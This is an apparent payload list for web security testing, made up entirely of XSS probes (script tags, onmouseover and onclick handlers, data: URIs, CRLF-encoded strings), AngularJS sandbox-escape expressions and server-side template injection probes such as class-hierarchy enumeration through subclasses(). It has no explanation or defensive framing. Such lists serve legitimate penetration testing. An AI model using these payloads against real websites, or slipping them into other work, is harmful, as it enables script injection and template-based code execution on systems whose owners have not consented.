%0D%0Adata:text/html;text, ! %0D%0Adata:text/html;text, ';-- ">'> ?readyFunction=alert%28document.domain%2b'%20XSSed!'%29 " onclick="alert(1)" "> </script><script>alert(5)</script> ['-confirm(1)-'] http:// hellololo"> https://www.youtube.com/aaa"> < "onmouseover%3Dconfirm(1)// ftp://test.com/file wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz {{ '7'*7 }} {{ [].class.base.subclasses() }} # get all classes {{''.class.mro()[1].subclasses()}} {%for c in [1,2,3] %}{{c,c,c}}{% endfor %} "> ab/ "> > http:// "> Uh oh! "> 11 %0a.hh.com [http://0a.hh.com/&h=raqfehm_-aqgd7hbnxlopocqsnvqftneuqvaern…] {{ '7'*7 }}"> "> {{ '7'*7 }} "onmouseover=alert(1)> ”> {{ '7'*7
{{ '7'*7 }} {{constructor.constructor('alert(document.domain)')()}}